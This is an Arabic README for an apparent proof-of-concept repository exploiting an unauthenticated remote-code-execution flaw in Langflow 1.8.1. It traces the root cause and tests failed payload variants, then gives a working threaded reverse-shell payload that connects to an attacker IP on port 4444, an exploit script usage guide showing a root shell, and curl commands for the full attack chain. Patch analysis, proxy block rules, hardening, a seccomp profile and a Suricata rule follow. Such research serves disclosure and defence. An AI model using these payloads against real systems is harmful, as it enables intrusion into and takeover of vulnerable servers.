
استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف.
إخلاء مسؤولية
تم إنشاء هذا المستودع لأغراض البحث الأمني والتعليم.
يُرجى استخدامه فقط في بيئات معزولة للتدريب العملي.
استخدامه ضد أنظمة غير مصرح بها يُعد انتهاكًا لقانون شبكات المعلومات والاتصالات ويعرّض مرتكبه لعقوبات جنائية.
| البند | المحتوى |
|---|---|
| CVE ID | CVE-2026-33017 |
| البرنامج المصاب | Langflow (أداة بناء سير عمل الذكاء الاصطناعي) |
| الإصدارات المتأثرة | Langflow ≤ 1.8.1 |
| إصدار التصحيح | Langflow ≥ 1.9.0 |
| نوع الثغرة | تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة |
| CWE | CWE-306 (غياب المصادقة لوظيفة حرجة) |
| CVSS | 9.3 (حرجة) |
| CISA KEV | مُدرجة |
POST /api/v1/build_public_tmp/{flow_id}/flow
نقطة نهاية مخصصة لبناء التدفقات العامة (Public flows)، وقد صُممت لتكون قابلة للوصول بدون مصادقة.
مسار التنفيذ الذي تم التحقق منه بتتبّع الكود المصدري مباشرةً:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← استلام مدخلات العميل كما هي (الثغرة)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← تمرير بيانات العميل كما هي
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← تنفيذ كود عشوائي
لا تقوم دالة prepare_global_scope() بتنفيذ جميع تركيبات الكود المرسَل.
بعد تحليل AST، يتم انتقاء أنواع عقد معينة فقط وتنفيذها:
# lfx/custom/validate.py — داخل prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ عُقد Expr غير مشمولة في أي فئة → لا يتم تنفيذها
exec(compiled_code, exec_globals) # تنفيذ definitions فقط
أنواع عقد AST القابلة للتنفيذ:
الخلاصة: يجب كتابة الحمولة بصيغة
Assign(_r = ...) حتى يتم تنفيذها.
الاستدعاءات البسيطة للدوال (os.system("id")) تُصنَّف كعُقدExprوتُحذف بواسطة الفلتر.
خلال التدريب العملي تمت تجربة عدة طرق للحمولات، وتم تحديد سبب فشل كل منها على مستوى الكود المصدري.
subprocess.Popen + wait() (فشلت)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← حظر (Blocking) هنا
سبب الفشل: يراقب عامل (Worker) Langflow قيمة إرجاع المكوّن، وعند انتهاء المهلة يقوم بإغلاق المقبس (socket) قسريًا. وبذلك يصبح حظر _proc.wait() بلا معنى.
os.execve() (فشلت)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
سبب الفشل: وفقًا لقواعد POSIX، عند استدعاء execve() في عملية متعددة الخيوط، يتم إنهاء جميع الخيوط ما عدا خيط الاستدعاء → انهيار كامل لعامل uvicorn → HTTP 500.
os.fork() + execve() (فشلت)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
سبب الفشل: يكتشف uvicorn أن العملية الفرعية أُنهيت بشكل غير طبيعي فيعيد تشغيل العامل → HTTP 500.
threading.Thread(daemon=True) (فشلت)threading.Thread(target=_shell, daemon=True).start()
سبب الفشل: يتم إتلاف خيوط daemon=True مع انتهاء الخيط الرئيسي (عامل Langflow). ويموت الخيط قبل اكتمال محاولة connect().
threading.Thread(daemon=False) + Assign# FunctionDef → ينفَّذ
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → ينفَّذ (الاستدعاء المنفرد عبر Expr يُستبعد من الفلتر، لذا يجب الإسناد إلى متغير)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
سبب اختيار daemon=False:
daemon=True → يُتلف مع إنهاء خيط عامل Langflowdaemon=False → دورة حياة مستقلة عن العامل → إمكانية الحفاظ على اتصال المقبسCVE-2026-33017/
├── README.md
├── Dockerfile # بيئة Langflow 1.8.1 المصابة
├── Dockerfile.attacker # حاوية المهاجم (تشمل curl, nc, net-tools)
├── docker-compose.yml # الخادم المصاب + حاوية المهاجم
├── entrypoint.sh # تشغيل Langflow والإنشاء التلقائي للتدفق العام
├── exploit.py # PoC الشل العكسي
└── poc.py # التحقق من RCE الأعمى / وجود الثغرة
# 1. بناء الحاويات وتشغيلها
docker compose up --build
# 2. التحقق من الوصول إلى واجهة Langflow
# http://localhost:7860
# admin / admin123!
# 3. معرفة عناوين الحاويات
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ شبكة Docker الجسرية: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (الضحية) │
│ langflow-attacker 172.19.0.3 (المهاجم) │
└──────────────────────────────────────────────────┘
يتم التنفيذ داخل حاوية المهاجم:
docker exec -it langflow-attacker bash
# الوضع التلقائي (إصدار رمز + إنشاء تدفق عام + مستمع مدمج)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
الخيارات:
المخرجات المتوقعة:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] جارٍ تسجيل الدخول... (admin)
[*] تم إصدار الرمز بنجاح
[*] جارٍ إنشاء التدفق العام...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] بدء المستمع → 0.0.0.0:4444
[*] نقطة النهاية : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] الاستدعاء : 172.19.0.3:4444
[*] جارٍ إرسال الحمولة...
[*] استجابة HTTP : 200
[+] تم الاتصال بالشل ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
يُستخدم للتحقق من وجود الثغرة فقط:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. إصدار رمز + إنشاء تدفق عام
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. مستمع nc (الطرفية 1)
nc -lvnp 4444
# 3. إرسال الحمولة (الطرفية 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← استلام مدخلات العميل
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← تمرير بيانات العميل كما هي إلى خط أنابيب البناء
...
)
langflow/api/v1/chat.py (تم التحقق مباشرة من المصدر):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# إزالة معامل data نهائيًا من توقيع الدالة
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← قيمة None مُرمّزة، منع كامل لمدخلات العميل
source_flow_id=flow_id, # ← تحميل تعريف التدفق من قاعدة البيانات فقط
...
)
السبب في أن تصميم إزالة المعامل نفسه — وليس مجرد التحقق من صحة المدخلات — هو التصميم الصحيح:
التصميم المصاب: مدخلات العميل → تحقق → تنفيذ (احتمال تجاوز التحقق قائم)
تصميم التصحيح: مدخلات العميل → تجاهل تام
تدفقات قاعدة البيانات المخزنة فقط → تنفيذ (إزالة مسار الهجوم نفسه)
pip install langflow==1.9.1
موقع الملف: nginx.conf (إنشاء جديد)
server {
listen 80;
# حظر نقطة النهاية المصابة بـ CVE-2026-33017
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
ملاحظة: يجب أيضًا منع التعرض المباشر الخارجي لمنفذ Langflow 7860 ليكون الحظر فعّالًا.
موقع الملف:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
في حال عدم وجود تدفقات عامة، تُرجع نقطة النهاية 404 وبذلك يستحيل الهجوم.
يُمنع إنشاء تدفقات عامة كسياسة تشغيلية، أو يُغيَّر أسلوب التدفقات الموجودة إلى PRIVATE.
وفقًا لبيئة EC2:
قواعد الداخل (Inbound):
المنفذ 7860 → السماح لعناوين IP المصرح بها فقط (إزالة 0.0.0.0/0)
حتى لو نجح تنفيذ الأوامر، امنع الاستدعاءات الخارجية:
# حظر الاتصالات الصادرة من حاوية langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
أو عبر docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
حظر استدعاءات النظام الخطرة عبر ملف تعريف seccomp (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
طلبات HTTP مشبوهة:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
أنماط سجلات خادم Langflow:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
لا يقتصر هذا المستودع على تشغيل PoC فحسب، بل أضاف ما يلي من خلال التحليل على مستوى الكود المصدري:
اكتشاف تصفية عقد AST
تم التحقق مباشرة من الكود المصدري أن دالة prepare_global_scope() في lfx/custom/validate.py تتجاهل عُقد Expr. وبناءً عليه تم تحديد سبب فشل حمولة الاستدعاء البسيط للدالة الموجودة في PoC المعلنة سابقًا في هذه البيئة.
تحليل أسباب فشل الحمولات
تم تحليل أسباب فشل 4 طرق هي: Popen+wait() و execve() و fork()+execve() وخيط daemon=True، من منظور بنية uvicorn متعددة الخيوط وقواعد POSIX.
التحقق المباشر من كود التصحيح
تم التحقق من الترميز الثابت data=None وإزالة المعامل في chat.py الخاص بالإصدار 1.9.1 على مستوى الكود المصدري، مع تحليل نية تصميم التصحيح.
| نوع عقدة AST | مثال | قابلية التنفيذ |
|---|
FunctionDef | def _shell(): ... | ✅ ينفَّذ |
ClassDef | class ExploitComponent(Component) | ✅ ينفَّذ |
Assign | _r = os.system("id") | ✅ ينفَّذ |
AnnAssign | _r: int = os.system("id") | ✅ ينفَّذ |
Expr | os.system("id") (استدعاء منفرد) | ❌ يُتجاهَل |
| الخيار | الوصف | القيمة الافتراضية |
|---|
--url | عنوان URL الخاص بـ Langflow المستهدف | إلزامي |
--lhost | عنوان IP لاستقبال اتصال الشل العكسي | إلزامي |
--lport | منفذ استقبال اتصال الشل العكسي | إلزامي |
--flow-id | UUID التدفق العام (يُنشأ تلقائيًا عند الحذف) | تلقائي |
--user | معرف المسؤول | admin |
--password | كلمة مرور المسؤول | admin123! |
--no-listen | تعطيل المستمع المدمج (عند استخدام nc خارجي) | False |
--timeout | مهلة HTTP (بالثواني) | 30 |
| البند | exploit.py | poc.py |
|---|
| الهدف | الحصول على شل عكسي | التحقق من وجود الثغرة (RCE أعمى) |
| التحقق من النتيجة | مباشرة في طرفية المهاجم | سجلات الخادم / OOB |
| المستمع | مدمج | غير مطلوب |
| أهداف متعددة | غير مدعوم | مدعوم (--url-file) |
| الغرض التدريبي | إثبات خطورة الأثر | إثبات وجود الثغرة |
| البند | 1.8.1 (المصاب) | 1.9.1 (المصحح) |
|---|
استقبال معامل data | ✅ يُستقبَل | ❌ أُزيل من التوقيع |
| تنفيذ تعريفات عُقد العميل | ✅ ممكن | ❌ غير ممكن |
| مصدر تعريف التدفق | جسم طلب العميل | القيم المخزنة في قاعدة البيانات فقط |
| تنفيذ الأوامر بدون مصادقة | ✅ ينجح | ❌ مُحظور |
| استجابة HTTP | 200 + اتصال شل | 200 (بناء فارغ، بلا عُقد) |
| الإجراء | النوع | الأثر |
|---|
| التحديث إلى 1.9.1 | حل جذري | إزالة معامل data |
| الحظر عبر Nginx/Apache | حظر الوصول | قطع مسار الهجوم |
| عدم استخدام التدفقات العامة | حظر الوصول | نقطة نهاية تُرجع 404 |
| مجموعة أمان AWS | حظر شبكي | منع الوصول الخارجي من المصدر |
| حظر الاتصالات الصادرة | حظر لاحق | حظر استدعاء الشل العكسي |
| تحصين الحاوية | تقليل الضرر | حظر رفع الصلاحيات/استدعاءات النظام |